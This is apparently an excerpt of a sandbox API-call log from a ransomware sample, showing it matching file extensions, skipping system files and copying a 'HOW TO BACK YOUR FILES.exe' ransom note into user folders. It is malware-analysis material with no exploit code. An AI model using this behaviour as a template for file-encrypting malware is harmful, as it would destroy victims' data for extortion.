	[0043.080] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0043.080] lstrlenW (lpString="adb") returned 3
	[0043.080] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0043.081] lstrlenW (lpString="ade") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="ade") returned 1
	[0043.081] lstrlenW (lpString="adf") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="adf") returned 1
	[0043.081] lstrlenW (lpString="adn") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="adn") returned 1
	[0043.081] lstrlenW (lpString="adp") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="adp") returned 1
	[0043.081] lstrlenW (lpString="alf") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="alf") returned 1
	[0043.081] lstrlenW (lpString="ask") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="ask") returned 1
	[0043.081] lstrlenW (lpString="btr") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="btr") returned 1
	[0043.081] lstrlenW (lpString="cat") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="cat") returned 1
	[0043.081] lstrlenW (lpString="cdb") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="cdb") returned 1
	[0043.081] lstrlenW (lpString="ckp") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="ckp") returned 1
	[0043.081] lstrlenW (lpString="cma") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="cma") returned 1
	[0043.081] lstrlenW (lpString="cpd") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="cpd") returned 1
	[0043.081] lstrlenW (lpString="dacpac") returned 6
	[0043.081] lstrcmpiW (lpString1="NCHIST", lpString2="dacpac") returned 1
	[0043.081] lstrlenW (lpString="dad") returned 3
	[0043.081] lstrcmpiW (lpString1="IST", lpString2="dad") returned 1
	[0043.081] lstrlenW (lpString="dadiagrams") returned 10
	[0043.081] lstrlenW (lpString="daschema") returned 8
	[0043.081] lstrlenW (lpString="db-journal") returned 10
	[0043.081] lstrlenW (lpString="db-shm") returned 6
	[0043.081] lstrcmpiW (lpString1="NCHIST", lpString2="db-shm") returned 1
	[0043.081] lstrlenW (lpString="db-wal") returned 6
	[0043.081] lstrcmpiW (lpString1="NCHIST", lpString2="db-wal") returned 1
	[0043.082] lstrlenW (lpString="dbc") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dbc") returned 1
	[0043.082] lstrlenW (lpString="dbs") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dbs") returned 1
	[0043.082] lstrlenW (lpString="dbt") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dbt") returned 1
	[0043.082] lstrlenW (lpString="dbv") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dbv") returned 1
	[0043.082] lstrlenW (lpString="dbx") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dbx") returned 1
	[0043.082] lstrlenW (lpString="dcb") returned 3
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dcb") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dct") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dcx") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="ddl") returned 1
	[0043.082] lstrcmpiW (lpString1="HIST", lpString2="dlis") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dp1") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dqy") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dsk") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dsn") returned 1
	[0043.082] lstrcmpiW (lpString1="HIST", lpString2="dtsx") returned 1
	[0043.082] lstrcmpiW (lpString1="IST", lpString2="dxl") returned 1
	[0043.082] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599cc0 | out: hHeap=0x580000) returned 1
	[0043.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0043.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 110
	[0043.083] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.083] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.083] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.088] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.088] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31c02850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c02850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.089] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.089] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.089] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.089] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31c02850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c02850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.089] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.089] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.089] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.089] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.089] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf923e050, ftCreationTime.dwHighDateTime=0x1d3aab9, ftLastAccessTime.dwLowDateTime=0xf923e050, ftLastAccessTime.dwHighDateTime=0x1d3aab9, ftLastWriteTime.dwLowDateTime=0xf923e050, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="02540a10-7eb7-4b20-a8c7-470f8986389c", cAlternateFileName="02540A~1")) returned 1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="Apollon865.txt.exe") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2=".") returned 1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="..") returned 1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="windows") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="bootmgr") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="temp") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="pagefile.sys") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="boot") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="ids.txt") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="ntuser.dat") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="perflogs") returned -1
	[0043.089] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2="MSBuild") returned -1
	[0043.089] lstrlenW (lpString="02540a10-7eb7-4b20-a8c7-470f8986389c") returned 36
	[0043.089] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned 112
	[0043.089] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="02540a10-7eb7-4b20-a8c7-470f8986389c" | out: lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c") returned="02540a10-7eb7-4b20-a8c7-470f8986389c"
	[0043.089] lstrlenW (lpString="02540a10-7eb7-4b20-a8c7-470f8986389c") returned 36
	[0043.090] lstrlenW (lpString="Apollon865") returned 10
	[0043.090] lstrcmpiW (lpString1="0f8986389c", lpString2="Apollon865") returned -1
	[0043.090] lstrlenW (lpString=".dll") returned 4
	[0043.090] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2=".dll") returned 1
	[0043.090] lstrlenW (lpString=".lnk") returned 4
	[0043.090] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2=".lnk") returned 1
	[0043.090] lstrlenW (lpString=".ini") returned 4
	[0043.090] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2=".ini") returned 1
	[0043.090] lstrlenW (lpString=".sys") returned 4
	[0043.090] lstrcmpiW (lpString1="02540a10-7eb7-4b20-a8c7-470f8986389c", lpString2=".sys") returned 1
	[0043.090] lstrlenW (lpString="02540a10-7eb7-4b20-a8c7-470f8986389c") returned 36
	[0043.090] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="0e15476d-d8fe-46ca-8099-ebdcf80f637c" | out: lpString1="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned="0e15476d-d8fe-46ca-8099-ebdcf80f637c"
	[0043.090] lstrlenW (lpString="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 36
	[0043.090] lstrlenW (lpString="Apollon865") returned 10
	[0043.090] lstrcmpiW (lpString1="dcf80f637c", lpString2="Apollon865") returned 1
	[0043.090] lstrlenW (lpString=".dll") returned 4
	[0043.090] lstrcmpiW (lpString1="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpString2=".dll") returned 1
	[0043.090] lstrlenW (lpString=".lnk") returned 4
	[0043.090] lstrcmpiW (lpString1="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpString2=".lnk") returned 1
	[0043.090] lstrlenW (lpString=".ini") returned 4
	[0043.090] lstrcmpiW (lpString1="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpString2=".ini") returned 1
	[0043.090] lstrlenW (lpString=".sys") returned 4
	[0043.090] lstrcmpiW (lpString1="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpString2=".sys") returned 1
	[0043.090] lstrlenW (lpString="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 36
	[0043.090] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="102a7bc8-3f85-4bb4-840a-38257d2965d2" | out: lpString1="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned="102a7bc8-3f85-4bb4-840a-38257d2965d2"
	[0043.090] lstrlenW (lpString="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 36
	[0043.090] lstrlenW (lpString="Apollon865") returned 10
	[0043.090] lstrcmpiW (lpString1="257d2965d2", lpString2="Apollon865") returned -1
	[0043.090] lstrlenW (lpString=".dll") returned 4
	[0043.090] lstrcmpiW (lpString1="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpString2=".dll") returned 1
	[0043.090] lstrlenW (lpString=".lnk") returned 4
	[0043.090] lstrcmpiW (lpString1="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpString2=".lnk") returned 1
	[0043.091] lstrlenW (lpString=".ini") returned 4
	[0043.091] lstrcmpiW (lpString1="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpString2=".ini") returned 1
	[0043.091] lstrlenW (lpString=".sys") returned 4
	[0043.091] lstrcmpiW (lpString1="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpString2=".sys") returned 1
	[0043.091] lstrlenW (lpString="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 36
	[0043.091] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="2be989a0-16a1-424b-9211-51aa3bb43e5d" | out: lpString1="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned="2be989a0-16a1-424b-9211-51aa3bb43e5d"
	[0043.091] lstrlenW (lpString="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 36
	[0043.091] lstrlenW (lpString="Apollon865") returned 10
	[0043.091] lstrcmpiW (lpString1="aa3bb43e5d", lpString2="Apollon865") returned -1
	[0043.091] lstrlenW (lpString=".dll") returned 4
	[0043.091] lstrcmpiW (lpString1="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpString2=".dll") returned 1
	[0043.091] lstrlenW (lpString=".lnk") returned 4
	[0043.091] lstrcmpiW (lpString1="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpString2=".lnk") returned 1
	[0043.091] lstrlenW (lpString=".ini") returned 4
	[0043.091] lstrcmpiW (lpString1="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpString2=".ini") returned 1
	[0043.091] lstrlenW (lpString=".sys") returned 4
	[0043.091] lstrcmpiW (lpString1="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpString2=".sys") returned 1
	[0043.091] lstrlenW (lpString="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 36
	[0043.091] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="fbbe72db-afd8-443b-88dd-64b20388700d" | out: lpString1="fbbe72db-afd8-443b-88dd-64b20388700d") returned="fbbe72db-afd8-443b-88dd-64b20388700d"
	[0043.091] lstrlenW (lpString="fbbe72db-afd8-443b-88dd-64b20388700d") returned 36
	[0043.091] lstrlenW (lpString="Apollon865") returned 10
	[0043.091] lstrcmpiW (lpString1="b20388700d", lpString2="Apollon865") returned 1
	[0043.091] lstrlenW (lpString=".dll") returned 4
	[0043.091] lstrcmpiW (lpString1="fbbe72db-afd8-443b-88dd-64b20388700d", lpString2=".dll") returned 1
	[0043.091] lstrlenW (lpString=".lnk") returned 4
	[0043.091] lstrcmpiW (lpString1="fbbe72db-afd8-443b-88dd-64b20388700d", lpString2=".lnk") returned 1
	[0043.091] lstrlenW (lpString=".ini") returned 4
	[0043.091] lstrcmpiW (lpString1="fbbe72db-afd8-443b-88dd-64b20388700d", lpString2=".ini") returned 1
	[0043.091] lstrlenW (lpString=".sys") returned 4
	[0043.091] lstrcmpiW (lpString1="fbbe72db-afd8-443b-88dd-64b20388700d", lpString2=".sys") returned 1
	[0043.091] lstrlenW (lpString="fbbe72db-afd8-443b-88dd-64b20388700d") returned 36
	[0043.092] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="Preferred" | out: lpString1="Preferred") returned="Preferred"
	[0043.092] lstrlenW (lpString="Preferred") returned 9
	[0043.092] lstrlenW (lpString="Apollon865") returned 10
	[0043.092] lstrlenW (lpString=".dll") returned 4
	[0043.092] lstrcmpiW (lpString1="Preferred", lpString2=".dll") returned 1
	[0043.092] lstrlenW (lpString=".lnk") returned 4
	[0043.092] lstrcmpiW (lpString1="Preferred", lpString2=".lnk") returned 1
	[0043.092] lstrlenW (lpString=".ini") returned 4
	[0043.092] lstrcmpiW (lpString1="Preferred", lpString2=".ini") returned 1
	[0043.092] lstrlenW (lpString=".sys") returned 4
	[0043.092] lstrcmpiW (lpString1="Preferred", lpString2=".sys") returned 1
	[0043.092] lstrlenW (lpString="Preferred") returned 9
	[0043.092] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0043.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0043.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 109
	[0043.092] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0043.092] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.092] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.098] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31c289b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c289b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.098] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.098] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.098] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.098] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31c289b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c289b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.098] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.098] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.098] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.098] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.098] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="Apollon865.txt.exe") returned 1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".") returned 1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="..") returned 1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="windows") returned -1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="bootmgr") returned -1
	[0043.098] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="temp") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="pagefile.sys") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="boot") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="ids.txt") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="ntuser.dat") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="perflogs") returned -1
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="MSBuild") returned -1
	[0043.099] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0043.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 111
	[0043.099] lstrcpyW (in: lpString1=0x2d3e62c, lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" | out: lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"
	[0043.099] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0043.099] lstrlenW (lpString="Apollon865") returned 10
	[0043.099] lstrcmpiW (lpString1="896dd3a6b9", lpString2="Apollon865") returned -1
	[0043.099] lstrlenW (lpString=".dll") returned 4
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".dll") returned 1
	[0043.099] lstrlenW (lpString=".lnk") returned 4
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".lnk") returned 1
	[0043.099] lstrlenW (lpString=".ini") returned 4
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".ini") returned 1
	[0043.099] lstrlenW (lpString=".sys") returned 4
	[0043.099] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".sys") returned 1
	[0043.099] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0043.099] lstrcpyW (in: lpString1=0x2d3e62c, lpString2="Preferred" | out: lpString1="Preferred") returned="Preferred"
	[0043.099] lstrlenW (lpString="Preferred") returned 9
	[0043.099] lstrlenW (lpString="Apollon865") returned 10
	[0043.099] lstrlenW (lpString=".dll") returned 4
	[0043.099] lstrcmpiW (lpString1="Preferred", lpString2=".dll") returned 1
	[0043.099] lstrlenW (lpString=".lnk") returned 4
	[0043.099] lstrcmpiW (lpString1="Preferred", lpString2=".lnk") returned 1
	[0043.099] lstrlenW (lpString=".ini") returned 4
	[0043.099] lstrcmpiW (lpString1="Preferred", lpString2=".ini") returned 1
	[0043.099] lstrlenW (lpString=".sys") returned 4
	[0043.099] lstrcmpiW (lpString1="Preferred", lpString2=".sys") returned 1
	[0043.100] lstrlenW (lpString="Preferred") returned 9
	[0043.100] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof"
	[0043.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0043.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0043.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned 61
	[0043.100] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof"
	[0043.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.113] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
